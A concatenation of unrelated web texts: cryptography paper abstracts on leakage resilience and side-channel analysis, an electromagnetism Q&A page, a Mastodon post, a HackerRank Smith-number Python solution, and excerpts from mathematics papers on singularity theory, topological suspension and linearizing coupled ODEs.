focused on developing techniques for securing implementations against such attacks. An important model called \\emph{Only Computation Leaks} (OCL) [Micali and Reyzin, TCC \'04] and its stronger variants were proposed to model a broad class of leakage attacks (a type of
side-channel attack). These models allow for unbounded, arbitrary leakage as long as (1) information in each leakage observation is bounded, and (2) different parts of the computation leak independently. Various results and techniques have been developed for these models and we continue this line of research in the current work.
We address the problem of compiling any circuit into a circuit secure against OCL attacks. In order to leverage the OCL assumption, the resulting circuit will be split into components, where at any point in time only a single component is active. Optimally, we would like to output a circuit that has only one component, and no part of the computation needs to be leak-free. However, this task is impossible due to the result of Barak et al. [JACM \'12].The current state-of-the-art constructions achieve either two components with additional leak-free hardware, or many components without leak-free hardware.
In this work, we show how to achieve the best of both worlds: We construct two-component OCL schemes without relying on leak-free components. Our approach is general and modular -- we develop generic techniques to remove the hardware component from hardware-based constructions, when the functionality provided by the hardware satisfies some properties. Our techniques use universal deniable encryption (recently constructed by Sahai and Water [STOC \'14] using indistinguishable obfuscation) and non-committing encryption in a novel way. Then, we observe that the functionalities of the hardware used in previous two-component constructions of Juma and Vahlis [Crypto \'10], and Dziembowski and Faust [TCC \'12] satisfy the required properties.
The techniques developed in this paper have deep connections with adaptively secure and leakage tolerant multi-party computation (MPC).
Our constructions immediately yield adaptively secure and leakage tolerant MPC protocols for any no-input randomized functionality in the semi-honest model. The result holds in the CRS model, without pre-processing. Our results also have implications to two-party leakage tolerant computation for arbitrary functionalities, which we obtain by combining our constructions with a recent result of Bitansky, Dachman-Soled, and Lin [Crypto \'14].
21:17 [Pub][ePrint]
In standard models of secure computation, point-to-point channels between parties are as-
sumed to be authenticated by some pre-existing means. In other cases, even stronger pre-existing
setup--e.g., a public-key infrastructure (PKI)--is assumed. These assumptions are too strong
for open, peer-to-peer networks, where parties do not necessarily have any prior relationships
and can come and go as they please. Nevertheless, these assumptions are made due to the
prevailing belief that nothing \"interesting\" can be achieved without them.
Taking inspiration from Bitcoin, we show that precise bounds on computational power can
be used in place of pre-existing setup to achieve weaker (but nontrivial) notions of security.
Specifically, under the assumptions that digital signatures exist and each party can solve cryp-
tographic \"time-lock\" puzzles only at a bounded rate, we show that without prior setup and
with no bound on the number of corruptions, a group of parties can agree on a PKI with which
they can then realize pseudonymous notions of authenticated communication, broadcast, and
secure computation. Roughly, \"pseudonymous\" here means that inputs/outputs are (effectively)
bound to pseudonyms rather than parties\' true identities.
21:17 [Pub][ePrint]
Cryptographic protocols with adaptive security ensure that security holds against an adversary who can dynamically determine which parties to corrupt as the protocol progresses---or even after the protocol is finished. In the setting where all parties may potentially be corrupted, and secure erasure is not assumed, it has been a long-standing open question to design secure-computation protocols with adaptive security running in constant rounds.
Here, we show a constant-round, universally composable protocol for computing any functionality, tolerating a malicious, adaptive adversary corrupting any number of parties. Interestingly, our protocol can compute all functionalities, not just adaptively well-formed ones.
21:17 [Pub][ePrint]
The blind signature scheme permits the user to acquire a signature
from the signer; however, the message and the final signature are
unknown to the signer. In a partially blind signature (PBS) scheme,
the signer can explicitly incorporate a common information in the
signature based on some agreement with the user and without
violating the blindness property. Many PBS schemes have been
proposed recently either by using certificate authority-based public
infrastructure (CA-PKI) or pairing along with map-to-point function.
The CA-PKI-based PBS scheme needs huge computation and storage to
keep public keys and certificates. On the other hand, pairing and
map-to-point function are costly operations. Thus, the ID-PBS scheme
without pairing is more appropriate for real environments, and an
efficient pairing-free ID-PBS scheme is proposed in this paper. In
the random oracle model, our scheme is analyzed to be provably
secure. The proposed scheme is used to design an online e-cash
system, in which a bank agrees on a common piece of information with
a customer and can blindly sign some messages. It may be noted that
our e-cash system has the properties of unforgeability,
unlinkability, and non-deniability and can prevent the
double-spending of e-cash.
21:17 [Pub][ePrint]
A differential attack tries to capture the round keys corresponding to the S-boxes activated by a differential. In this work, we show that for a fixed output difference of an S-box, it may not be possible to distinguish the guessed keys that have a specific difference. We introduce these differences as differential factors. Existence of differential factors can reduce the time complexity of differential attacks and as an example we show that the 10, 11, and 12-round differential-linear attacks of Dunkelman et al. on SERPENT can actually be performed with time complexities reduced by a factor of 4, 4, and 8, respectively.
21:17 [Pub][ePrint]
Abstract--Voting systems based on paper ballots has a long
history with various problems. Vote-selling and correct outcome
are two major problems among many. In this work, we propose
a new solution to these problems by using UltraViolet (UV)
fiber paper Physical Unclonable Function (PUF). When applied
this solution not only prevents vote-selling but also ensures the
correctness of the outcome. With these two problems eliminated,
the voting systems based on paper ballots will have complete
integrity.
21:17 [Pub][ePrint]
Car-to-car and Car-to-Infrastructure messages exchanged in Intelligent Transportation Systems can reach reception rates up to and over 1000 messages per second. As these messages contain ECDSA signatures this puts a very heavy load onto the verification hardware. In fact the load is so high that currently it can only be achieved by implementations running on high end CPUs and FPGAs. These implementations are far from cost-effective nor energy efficient. In this paper we present an ASIC implementation of a dedicated ECDSA verification engine that can reach verification rates of up to 27.000 verifications per second using only 1.034 kGE.
21:17 [Pub][ePrint]
It is well known that the random oracle model is not sound in the sense that there exist cryptographic systems that are secure in the random oracle model but when instantiated by any family of hash functions become insecure. However, all known separation results require the attacker to send an appropriately crafted message to the challenger in order to break security. Thus, this leaves open the possibility that some cryptographic schemes, such as bit-encryption, are still sound in the random oracle model.
In this work we refute this possibility, assuming the existence of indistinguishability obfuscation. We do so in the following way. First, we present a random oracle separation for bit-encryption; namely, we show that there exists a bit-encryption protocol secure in the random oracle model but \\emph{completely insecure} when the random oracle is instantiated by any concrete function. Second, we show how to adapt this separation to work for most natural simulation-based and game-based definitions. Our techniques can easily be adapted to other idealized models, and thus we present a \\emph{unified approach} to showing separations for most protocols of interest in most idealized models.
21:17 [Pub][ePrint]
Template Attacks are widely accepted to be the most powerful side-channel attacks from an information theoretic point of view. For Template Attacks to be practical, one needs to choose some special samples as the interesting points in actual power traces. Up to now, many different approaches were introduced for choosing interesting points for Template Attacks. However, it is unknown that whether or not the pervious approaches of choosing interesting points will lead to the best classification performance of Template Attacks. In this work, we give a negative answer to this important question by introducing a practical new approach which has completely different basic principle compared with all the pervious approaches. Our new approach chooses the point whose distribution of samples approximates to a normal distribution as the interesting point. Evaluation results exhibit that Template Attacks based on the interesting points chosen by our new approach can achieve obvious better classification performance compared with Template Attacks based on the interesting points chosen by the pervious approaches. Therefore, our new approach of choosing interesting points should be used in practice to better understand the practical threats of Template Attacks.
21:17 [Pub][ePrint]
In [AGP14] Ananth et al. showed that continual leakage-resilient non-transferable interactive proofs exist when a leak-free input-encoding phase is allowed and a common reference string is available. They left open the problem of removing the need of a common reference string.
In [BGJK12] Boyle et al. showed that for some interesting functionalities continual leakage-resilient secure computation is possible when leak-free interactive preprocessing and input-encoding phases are allowed. They left open the problem of removing the interactive preprocessing.
In this work we study the above questions. Our main contribution shows that leakage-resilient black-box zero-knowledge is impossible when relying on a leak free input-encoding phase only (i.e., without CRS/preprocessing). Additionally, we also show that leakage-resilient multi-party computation for all functionalities is impossible (regardless of the number of players assuming just one corrupted player) when relying only on a leak-free input-encoding phase (i.e., without CRS/preprocessing).
Our results are achieved by means of a new technique to prove lower bounds for leakage-resilient security. We use leakage queries to run an execution of a communication-efficient insecure (i.e., non-simulatable) protocol in the head of the adversary. Moreover our work shows an interesting connection between leakage resilience and security against reset attacks.
21:17 [Pub][ePrint]
We introduce a new security notion for public-key encryption (PKE) that we dub non-malleability under (chosen-ciphertext) self-destruct attacks (NM-SDA), which appears to be the strongest natural PKE security notion below full-blown chosen-ciphertext (IND-CCA) security. In this notion, the adversary is allowed to ask many adaptive parallel\'\' decryption queries (i.e., a query consists of many ciphertexts) up to the point when the first invalid ciphertext is submitted. As such, NM-SDA security generalizes non-malleability against chosen plaintext attacks (NM-CPA, where only one parallel decryption query is allowed) and recently introduced indistinguishability against (chosen-ciphertext) self-destruct attacks (IND-SDA, where each adaptive query consists of a single ciphertext). After showing that NM-SDA is a {\\em strict} strengthening of NM-CPA and IND-SDA and allows for more applications, we establish the following two results:
Domain Extension: For any $K > 1$, there is a black-box construction of a $K$-bit NM-SDA PKE scheme from a single-bit NM-SDA PKE scheme. Moreover, this can be done using only $O(\\lambda)$ calls to the underlying single-bit NM-SDA scheme, where $\\lambda$ is the security parameter. To achieve our goal, we define and construct a novel type of continuous non-malleable code (NMC), called secret-state NMC, as we show that standard continuous NMCs are not enough for the natural expand-then-encrypt-bit-by-bit\'\' approach to work.
Black-Box Construction from IND-CPA: Prior work showed that NM-CPA secure PKE can be constructed from any IND-CPA secure PKE in a black-box way. Here we show that the same construction actually achieves our strictly stronger notion of NM-SDA security. (This requires a non-trivial extension of the original security proof to handle multiple parallel decryption queries.) Hence, the notions of IND-CPA, NM-CPA, IND-SDA and NM-SDA security are all equivalent, lying (plausibly, strictly?) below IND-CCA security. We also show how to improve the rate of the resulting NM-SDA scheme from quadratic to linear.
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# Tag Info
## Hot answers tagged electromagnetism
11
D.J. Griffith's Introduction to Electrodynamics must be mentioned. To my knowledge this text is ubiquitous in junior-level E&M courses. The writing is extremely friendly and is excellent for self-study. The author frequently tells you what he is doing and provides motivation, unlike the ubiquitous graduate-level text by Jackson. Equations often use a ...
8
Purcell is a good non-Griffiths option. I would judge the completeness of the material between Griffiths and Jackson, but with an intuitive level of understanding close to Griffiths. I used it to study for graduate qual exams when Jackson was making me feel particularly obtuse. Some positives: Touches more ideas than Griffiths Uses some real-world ...
4
Besides Purcell I really like Feynman Vol. II. I finally could understand magnetic materials and electromagnets. (Warning, Feynman uses his own notation for B,H and M.) The lectures are available online and for free, as the New Millenium Edition, at http://www.feynmanlectures.caltech.edu/, in a nice re-mastered edition with re-drawn ...
4
It does matter, and the product comes first. In general any sort of multiplication is understood to have higher precedence than any sort of addition. Thus $$\vec{E} + \vec{v} \times \vec{B} \equiv \vec{E} + (\vec{v} \times \vec{B}).$$
4
No, different EM waves do (classically) not interact, they just pass through each other. There are (tiny) contributions to a photon-photon diagram in quantum electrodynamics which could be seen as photons scattering off each other, but, at the macroscopic level where we usually talk about EM waves, there isn't any interaction at all.
3
W. K. H. Panofsky and M. Phillips, Classical electricity and magnetism, Addison Wesley, 2nd ed., 1962 Especially the first 14 chapters are very enjoyable yet carefully written study text about both basic and more advanced topics in macroscopic EM theory (including discussion of EM energy from more experimental angle than is usual and of density of force ...
3
This is a hypothetical question, since electrons are elementary particles and protons are composite. The solutions of the potential problem would give stable orbitals with smaller average radii. Here is a Bohr model solution for the muonic hydrogen, where the muon is 200 times heavier than the elecron. The energies become KeV instead of eV. To go to the ...
2
Jackson's classical electrodynamics is very complete, and often seen as the reference on CED. But I also like Rohrlich's classical charged particles that, as the title suggests, puts more emphasis on the subject of particles interacting with EM fields.
2
Here's a derivative-free explanation. For readers who are doing E&M at the college level, the other answers posted here are more comprehensive, but since the OP has stated a high-school knowledge with little math and physics knowledge, here's the primer: A vector is a quantity that, in order to be fully measured and described, needs to include both a ...
2
Floris's answer gives you an excellent description of the forces that would be present in both a magnetic and gravitational field, whilst MaxGraves's Answer gives you a clear and careful discussion of how you should use the word weight. In more the spirit of MaxGraves's Answer, something that seems a little pedantic but may be interesting to you is the ...
2
If I understand correctly you are asking how observer dependent is electromagnetic radiation. The first thing is that non uniformly accelerated charges are described in a inertial frame by Larmor's formula and Abrahm-Lorentz force which take into account the radiated field and the recoil on the particle. Now in Newtonian mechanics and special relativity ...
1
How about this: Think about a loop around the central wire, but inside the outer conductor, with its surface defining a plane perpendicular to the wire. Ampere's law tells us the induced magnetic field curls around the central wire. [Even if there were a time-dependent radial E-field it would not produce any displacement current through the loop.] Having ...
1
Taking your (lack of) knowledge about differential geometry into account, this might be too hard to follow, but here it goes anyway: Let $u_1,\dots,u_n$ be some tangent vectors with base point $p$ and $\omega$ the volume form, ie $V = \omega_p(u_1,\dots,u_n)$ is the (possibly negative) volume of the parallelepiped spanned by these vectors. In case of three ...
1
The two maxwell equations using divergence are $$div \vec{D} = \rho \\ div \vec{B} = 0$$ at least in differential form. In integral form they are maybe more clearer for you. They are $$\iint_{\partial V} \vec{D} \ d \vec{A} = \iiint_{V} \rho \ dV = Q(V) \\ \iint_{\partial V} \vec{B} \ d \vec{A} = 0$$ The first equation just means the electrical flux $D$ ...
1
Ions can indeed carry current (ex. electrolysis). "An electric current is a flow of electric charge. In electric circuits this charge is often carried by moving electrons in a wire. It can also be carried by ions in an electrolyte, or by both ions and electrons such as in a plasma.[1]"
1
Well, technically yes (assuming you mean ionized and not just "charged"). Current (in simple terms) is only the time rate of charge flow, which is not exclusively limited to electrons or any specific charge carrier. Electrolytic conductivity is well documented, naturally being higher for strong electrolytes as compared to the ones that dissociate weakly in ...
1
Yes, electric current is movement of any kind of charges. The problem with your particular example is that most liquids containing ions are also conductive. Electrons will hop between molecules and equalize the ionic charges, then end up providing most of the conduction themselves. There are cases where actual ion migration results in much of the current, ...
1
The sort of magnet most of us immediately think of is a magnetic dipole. This has the characteristic field with north and south poles: This field geometry is produced by current travelling in a loop: Note that the field lines don't begin or end anywhere but pass through the centre of the loop. The South pole is where the field lines enter the loop and ...
1
I'm not really sure if you want to apply this in a classical or quantum mehcanical context, but the application is similar in both cases. Given a gauge choice, the electric and magnetic field are given by $$\mathbf{E}(x,t)=-\nabla V(x,t)-\frac{\partial \mathbf{A}(x,t)}{\partial t};\\ \mathbf{B}(x,t)=\nabla\times\mathbf{A}(x,t),$$ and the classical equations ...
1
The current is not directly due to the magnetic field, rather it is due to the electric field that is induced by the changing magnetic field. It is true that the electrons will experience a force from the magnetic field according to the Lorentz Force Law, but this force will always be perpendicular to the direction of motion and therefore will not produce a ...
1
The short answer is no, the diameter of the wire doesn't affect the bandwidth. Bandwidth can be a tricky subject. If you are talking about injecting a very high frequency sine wave at one of the wire, and seeing if it is detectable at the other end, then wires of all diameters have a surprisingly high bandwidth. But if you are talking about the ability of ...
1
The cross product of two vectors is always perpendicular to both vectors. So, the magnetic force $\vec{F}=q\vec{v}\times\vec{B}$ will always be perpendicular to $\vec{v}$. This can be seen in your special case by realizing thatsince the motion is in the $(x,y)$ plane $v_z=0$, and the only component of $\vec{B}$ that is not null is $B_z=B$, we have ...
1
When current flows in a circle, we can use the right hand rule to find that the magnetic field points in one direction inside the loop, and in the other direction outside the loop (to be precise, the magnetic field lines wrap around the wire, as shown in the second diagram below). Thus, in the case of current carrying loops, if we curl the fingers of our ...
1
$\Phi$ is the flux of $\vec B$ through one surface $$\Phi = BA$$ where A is the area bounded by a loop (turn). But there are $n$ turns and thus $n$ surfaces that are pierced by $\vec B$ so the the flux linkage $\lambda$ is $$\lambda = n \Phi$$
Only top voted, non community-wiki answers of a minimum length are eligible
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Tetrahedra passing through a hole: mathoverflow.net/q/138752/440
This is from eight years ago, but was active again recently. The question is: what's the smallest-area hole in a plane through which you can push a unit tetrahedron? DPKR has a very pretty animated answer, but sadly it's not optimal: there's a triangular hole with smaller area $$1/\sqrt{8}$$, known minimal for translational motion (doi.org/10.1016/j.comgeo.2011.). The problem for more general motion seems to be still open.
· · Web · · ·
The social network of the future: No ads, no corporate surveillance, ethical design, and decentralization! Own your data with Mastodon!
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Hackerrank - Identify Smith Numbers Solution
# Hackerrank - Identify Smith Numbers Solution
A Smith number is a composite number, the sum of whose digits is the sum of the digits of its prime factors obtained as a result of prime factorization (excluding ). The first few such numbers are 4, 22, 27, 58, 85, 94 and 121
Example:
378 = 2 x 3 x 3 x 3 x 7
So, its prime factors are 2, 3, 3, 3 and 7
The sum of its digits is (3+7+8)=18.
The sum of the digits of its factors is (2+3+3+3+7)=18.
Similarly, is a Smith number.
, and the sum of its digits is the same as the sum of the digits of its prime factors: .
Write a program to check whether a given integer is a Smith number.
Input Format
There will be only one line of input: N, the number which needs to be checked.
Constraints:
0 < N < 2,147,483,647 (max value of an integer of the size of bytes)
Output Format
1 if the number is a Smith number.
0 if the number is a not Smith number.
Sample Input
378
Sample Output
1
Explanation
Its prime factors are 2, 3, 3, 3, and 7.
The sum of its digits is (3+7+8)=18.
The sum of the digits of its factors is (2+3+3+3+7)=18.
### Solution in Python
from math import sqrt
def getPrime(n):
"""
Function to get the first prime factor of a number
Example: getPrime(12) = 2
Args:
n (integer): number whose prime factor is to be found
Returns:
integer : prime factor of the number
"""
if n % 2 == 0:
return 2
for i in range(3, int(sqrt(n))+1, 2):
if n % i == 0:
return i
return n
def solve(n):
sum_of_factor_digits = 0
sum_of_digits = sum(map(int, str(n)))
while n != 1:
# get the first prime factor of n
prime_factor = getPrime(n)
# while number is divisible by the prime factor, add the sum of the digits of the prime factor
while n % prime_factor == 0:
sum_of_factor_digits += sum(map(int, str(prime_factor)))
# divide the number by the prime factor
n = n//prime_factor
return 1 if sum_of_factor_digits == sum_of_digits else 0
n = int(input())
print(solve(n))
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# The use of computer graphics for solving problems in singularity theory
Richard Morris (rich@singsurf.org)
University of Liverpool
This paper was presented at the Visulisation of Mathematics Workshop in Berlin (VizMath '95). And appears in "Visualization and Mathematics: Experiments, Simulations and Environments", Hans-Christian Hege, Konrad Polthier (eds), Springer Verlag Heidelberg . ISBN 3-540-61269-6.
Postscript Version of the main text (gzipped postscript).
# Abstract
We explore two investigation in singularity theory in which mathematical visualisation played and important part in the proof. We also describe a computer package which has been used to aid the experimental investigation of singularity theory and outline some of the computational problems involved in rendering singular surfaces.
# Introduction
Many problems in differential geometry and singularity theory naturally lend themselves to graphical solutions. For example there is considerable interest in calculating ridges and sub-parabolic lines various surfaces which can be readily visualised. In other more theoretical problems, such as classifying the singularities of maps, graphical solutions can play an important part in the solution. Some of the applications in which visualisation have already helped include: symmetry sets and rotational symmetry sets of plane curves \cite{TG_SS,Thesis}; ridges and sub-parabolic lines of surfaces \cite{BGTridge,Thesis,pud}; maps from $\Re^2$ to $\Re^2$ \cite{Gibson}; binary differential equations \cite{BT_binary}; duals of surfaces \cite{BGT_dual,West}; robotic grasp \cite{desmond}; cusp tracking \cite{gordon}; and quartic curves \cite{wall}.
In section~\ref{tool_sec} we will look at a set of programs we have developed to tackle the basic graphical problems which occur in singularity theory. We will discuss some of the user interface issues as well as the algorithms used to create accurate representations of singular surfaces.
In section~\ref{example_sec} we will look at the role experimental results have to play in the development of mathematical proof. We will examine two cases studies which are good examples of this experimental method and illustrate some of the techniques needed for successful experimental analysis. In both cases there was a conflict between mathematical conjectures and the results generated by computer graphics. This conflict caused both the mathematics and the experimental results to be reexamined leading to a resolution of the problems. In the first case a the experimental results were shown to be correct and in the second both methods were partially correct and the final results had a much richer structure.
Back to My Papers
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# Suspension
This article describes a construct that involves some variant of taking a product of a topological space with the unit interval and then making some identifications, typically at the endpoints, based on some specific maps.
View more such constructs
## Definition
### Long definition
Given a topological space $X$, the suspension of $X$, denoted $SX$, is defined as the quotient of $X \times I$ (where $I$ is the closed unit interval and we use the product topology) by the following two equivalence relations:
$\! (x_1,0) \sim (x_2,0), \forall \ x_1,x_2 \in X$
and
$\! (x_1,1) \sim (x_2,1) \ \forall \ x_1,x_2 \in X$
### Short definition
The suspension $SX$ of a topological space $X$ can be described in the following succinct ways as a quotient space $SX = (X \times [0,1]/(X \times \{ 0 \}))/(X \times \{ 1 \})$. In other words, we quotient out successively (or simultaneously) by the subspaces $X \times \{ 0 \}$ and $X \times \{ 1 \}$.
## In terms of other constructions
### Double mapping cylinder
The suspension can be viewed as a case of a double mapping cylinder where $Y$ and $Z$ are both one-point spaces and both the maps involved send $X$ to the one point.
### Join
The suspension can also be viewed as the join of $X$ with the 0-sphere $S^0$.
## Relation between a space and its suspension
### Homology for suspension
Further information: homology for suspension
Taking the suspension shifts the homology groups. Specifically, for any topological space $X$:
$H_{k + 1}(SX) \cong H_k(X), \qquad k \ge 1$
The result extends to the zeroth homology if we use reduced homology instead of homology. (Without reduced homology, the formulation becomes more clumsy):
$\tilde{H}_{k+1}(SX) \cong \tilde{H}_k(X), \qquad k \ge 0$
This result is an easy application of the Mayer-Vietoris homology sequence, and is similar to the application of the Seifert-van Kampen theorem to show that suspension of path-connected space is simply connected.
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# On the complete integrability and linearization of nonlinear ordinary differential equations. V. Linearization of coupled second-order equations
V. K. Chandrasekar, M. Senthilvelan, M. Lakshmanan
## Abstract
Linearization of coupled second-order nonlinear ordinary differential equations (SNODEs) is one of the open and challenging problems in the theory of differential equations. In this paper, we describe a simple and straightforward method to derive linearizing transformations for a class of two coupled SNODEs. Our procedure gives several new types of linearizing transformations of both invertible and non-invertible kinds. In both cases, we provide algorithms to derive the general solution of the given SNODE. We illustrate the theory with potentially important examples.
## 1. Introduction
Continuing our study on the integrability and linearization of coupled second-order nonlinear ordinary differential equations (SNODEs), in this paper, we focus our attention on the linearization of two coupled SNODEs. This study arises not only for the completeness of part IV (Chandrasekar et al. 2009), but also to show the importance of unfinished tasks that exist in the theory of linearization of two coupled SNODEs. As far as the first point is concerned, we show that one can also solve a class of coupled SNODEs by transforming them into two second-order free particle equations and, from the solutions of the latter, one can construct the solution of the former, even though this is a non-trivial problem in many situations (one can also transform coupled nonlinear ODEs into uncoupled nonlinear ones, which has already been pointed out by us in the previous paper, i.e. part IV). Regarding the second point, we wish to stress the fact that linearization of coupled nonlinear ODEs is a vast area of research that is still in its early stage. In this paper, we show that, in spite of the difficulties which exist in this topic, one can make useful progress on certain issues, namely: (i) developing a method to deduce all linearizing transformations wherein the new dependent variables are functions of only the old dependent and independent variables and not derivatives of the dependent variables and (ii) developing a method of constructing solutions of nonlinear ODEs from the linear ones in the case of non-point transformations.
Even though the modern theory of linearization of nonlinear ODEs had originated and developed with the works of Lie, Tresse and Cartan (Mahomed & Leach 1989; Steeb 1993; Olver 1995; Ibragimov 1999; Chandrasekar et al. 2005), the entire subject was lying dormant for more than a century. Only recently, during the past two decades or so, has notable progress been made to linearize nonlinear ODEs through non-point (Duarte et al. 1994) or generalized transformations (Chandrasekar et al. 2006). For example, focussing our attention on single second-order ODEs, generalized Sundmann (Euler et al. 2003; Euler & Euler 2004) and generalized linearizing transformations (Chandrasekar et al. 2006) have been introduced to linearize a class of equations that cannot be linearized by invertible point transformations. As far as two coupled SNODEs are concerned, to our knowledge, most of the studies were focussed only on invertible point transformations, irrespective of whether it is an analytical approach or a geometrical formulation. For a survey on this topic, one may refer to the recent papers of Merker (2006) and Mahomed & Qadir (2007) and, for the earlier works in this direction, we cite Crampin et al. (1996), Fels (1995), Grossman (2000), Soh & Mahomed (2001) and Qadir (2007). More recently, Sookmee & Meleshko (2008) proposed a new algorithm to linearize the coupled second-order ODEs by sequentially reducing the order of the equation.
In this work, we aim to give a new dimension to the theoretical development of linearization of nonlinear dynamical systems having two degrees of freedom by proving that one can unearth a wide class of linearizing transformations besides invertible point transformations. Of course, the latter ones form a subclass of the new ones that we construct in this paper. In this study, we not only derive several new types of linearizing transformations, but also propose systematic procedures to derive the general solution in all these cases. We also wish to emphasize here that we derive all these transformations from the first two integrals alone, and thereby establish a potentially simple, straightforward and powerful approach in the theory of differential equations.
The plan of the paper is as follows. In §2a, we briefly describe the method of deriving linearizing transformations for a system of two coupled second-order ODEs. We show that one can have two classes of linearizing transformations, depending on the nature of the independent variables. If the new independent variables are the same (z1=z2), we put them in class A category, and if they are different (z1z2), then we put them in class B category. In §2b(i), we consider class A category and identify three types of linearizing transformations. In §2b(ii), we consider class B category and identify six types of linearizing transformations. In §3, we consider one specific example for each of the nine types of linearizing transformations we have identified and obtain general solutions to each one of them to demonstrate our procedure. Finally, we present our conclusions in §4.
## 2. Linearizing transformations
### (a) Method of deriving linearizing transformations
To begin with, let us consider a system of two coupled SNODEs, R{t,x} (eqn (2.1) in part IV (Chandrasekar et al. 2009)), 2.1 Any transformation of the form T{t,x}, defined by 2.2 which transforms the given set of nonlinear ODEs (2.1) to the free particle equations 2.3 is called a linearizing transformation in the present work.
Let 2.4 be the first two integrals of motion of the coupled system (2.1) and that they can be explicitly found, if they exist, e.g. by using the generalized modified Prelle–Singer (PS) method formulated in part IV (Chandrasekar et al. 2009). Then, the following theorem ensures that the transformation can be deduced from Ii, i=1,2.
### Theorem 2.1
Suppose a given nonlinear system R{t,x} of ODEs (2.1) is linearizable to a system of two uncoupled free particle equations through the linearizing transformation T{t,x} of the form (2.2), then the latter can be deduced from the first integrals
, i=1,2.
### Proof.
Let us re-express each of the functions and in equation (2.4) as a product of two new functions, i.e. 2.5 Again, rewriting f3 and f4 as total time derivatives of another set of functions, say z1 and z2, respectively, i.e. d and , equation (2.5) can be further recast as 2.6
Now identifying the functions f1(t,x,y)=w1 and f2(t,x,y)=w2 as the new dependent variables, equation (2.6) can be further recast in the form 2.7 where and are the redefined constants. Obviously, equation (2.3) follows straightforwardly from equation (2.7). Consequently, the new variables, zi and wi, i=1,2, defined by equation (2.2) help us to transform the given set of coupled SNODEs into two linear second-order ODEs that, in turn, lead to the solution by trivial integration. The variables wi and zi, i=1,2, then define the linearizing transformations for the given equation (2.1). ▪
It may be noted that, in general, the new dependent variables, w1 and w2, may also involve and , i.e. and , and this possibility may lead us to identify more generalized transformations such as point-contact and generalized-contact transformations. However, in this paper, we will confine ourselves only to the forms of w1 and w2 given by equation (2.2).
### (b) The nature of transformations
An important question that we will focus upon in this paper is what are the possible forms of linearizing transformations one can unearth through the above procedure. We recall here that, in the case of scalar SNODEs, one has point generalized Sundman and generalized linearizing transformations (Chandrasekar et al. 2005, 2006). As far as the coupled SNODEs (2.1) are concerned, as there are two independent variables z1 and z2 as given in equation (2.2), one can choose them to be either the same, z1=z2 (class A), or different, z1z2 (class B). In the case of class A transformations, one can construct three different types of linearizing transformations, whereas for class B, one can formulate six different types of linearizing transformations, as we point out below. However, we also note that even further types of local transformations involving the variables and are possible, but these are not included in the present study.
#### (i) Class A linearizing transformations (z1=z2=z)
In the case of class A transformations, we have w1=f1(t,x,y),w2=f2(t,x,y), . Now appropriately restricting the form of f3 (=f4), one can identify three different types of linearizing transformations.
1. Suppose z1=z2=z is a perfect differential function and wi, i=1,2, and z do not contain the variables and , then we call the resultant transformation, namely w1=f1(t,x,y), w2=f2(t,x,y) and z=f3(t,x,y), a point transformation of type I.
2. On the other hand, if z is not a perfect differential function, and wi, i=1,2, and z do not contain the variables and , then we call the resultant transformation, namely w1=f1(t,x,y), w2=f2(t,x,y) and , a generalized Sundman transformation of type I.
3. As a more general case, if we consider the independent variable z to contain the derivative terms also, i.e. w1=f1(t,x,y), w2=f2(t,x,y) and , then we call the resultant transformation a generalized linearizing transformation of type I.
In our analysis, we do not consider the possibility w1=f1(t,x,y), w2=f2(t,x,y) and because the procedure to handle it is different from the presently discussed linearizing transformations. This possibility will be studied separately.
#### (ii) Class B linearizing transformations (z1≠z2)
In the class B type of linearizing transformations, we have and , z1z2. Now appropriately restricting the forms of f3 and f4, one can obtain six different types of linearizing transformations.
1. If z1 and z2 are perfect differential functions and wi and zi, i=1,2, do not contain the variables and , then we call the resultant transformation, namely w1=f1(t,x,y), w2=f2(t,x,y), z1=f3(t,x,y) and z2=f4(t,x,y), a point transformation of type II.
2. Suppose z1 is a perfect differential function and z2 is not a perfect differential function or vice versa, and if z1 and z2 do not contain the variables and , then we call the resultant transformation, namely w1=f1(t,x,y), w2=f2(t,x,y), z1=f3(t,x,y) and or and z2=f4(t,x,y), a mixed point-generalized Sundman transformation.
3. On the other hand, if any one of the independent variables contains the variables and , then we call the resultant transformation, namely w1=f1(t,x,y), w2=f2(t,x,y),z1=f3(t,x,y) and or and z2=f4(t,x,y), a mixed point-generalized linearizing transformation.
4. Suppose the independent variables are not perfect differential functions and are also not functions of and , i.e. w1=f1(t,x,y), and , then we call the resultant transformation a generalized Sundman transformation of type II (GST II).
5. Further, if one of the independent variables, say z1, does not contain the derivative terms, whereas the other independent variable z2 does contain the derivative terms or vice versa, i.e. w1=f1(t,x,y), w2=f2(t,x,y), and or and , then we call the resultant transformation a mixed generalized Sundman-generalized linearizing transformation.
6. As a general case, if we allow both the independent variables z1 and z2 to be non-perfect differential functions and also to contain derivative terms, i.e. w1=f1(t,x,y), w2=f2(t,x,y), and , then the resultant transformation will be termed a generalized linearizing transformation of type II.
Finally, the possibility that w1=f1(t,x,y), w2=f2(t,x,y), and is not considered in this study and will be pursued separately.
## 3. Applications
In this section, we consider specific examples and illustrate each one of the linearizing transformations identified in the previous section so as to make clear the applicability of them under different situations.
### (a) Class-A linearizing transformations (z1=z2)
#### (i) Example 1: point transformation of type I
Let us consider the system of SNODEs 3.1 where ω is an arbitrary constant. The first two integrals associated with equation (3.1), which can be obtained using the formulation given in §2 of part IV (Chandrasekar et al. 2009), can be written as 3.2 Rewriting equation (3.2) in the form of equations (2.5) and (2.6), we obtain 3.3 so that we can identify point transformation of type I as 3.4 Using the transformation (3.4), one can transform equation (3.1) to a set of free particle equations, namely d2w1/dz2=0 and d2w2/dz2=0, so that w1=I1z+I3 and w2=I2z+I4, where I3 and I4 are the integration constants. Substituting the expressions for wi, i=1,2, and z in the free particle solutions and rewriting the resultant expressions in terms of the old variables x and y, one obtains the general solution for equation (3.1) in the form 3.5 where and . Here, we point out that the nonlinear system (3.1) admits amplitude-independent frequency of oscillations.
In the above example, we have considered the new dependent variables w1 and w2 and independent variable z to be functions of only x,y and t. We will now consider examples that admit more general transformations.
#### (ii) Example 2: generalized Sundman transformation of type I
Let us focus our attention on the two-dimensional Mathews–Lakshmanan oscillator system of the form (Cariñena et al. 2004; Chandrasekar et al. 2009) 3.6 where and λ and α are arbitrary parameters. For α=0, equation (3.6) admits the following two integrals of motion: 3.7 We note that the integrals I2 and I3 (eqns (5.35) and (5.36) in part IV; Chandrasekar et al. 2009) can be derived from equation (3.7) by using the relations and , where I1 is given in eqn (5.35) of part IV. The general case (α≠0) can be linearized through mixed generalized Sundman-generalized linearized transformation (example 8). To demonstrate the linearization through generalized Sundman transformation of type I, we here consider equation (3.6) with α=0.
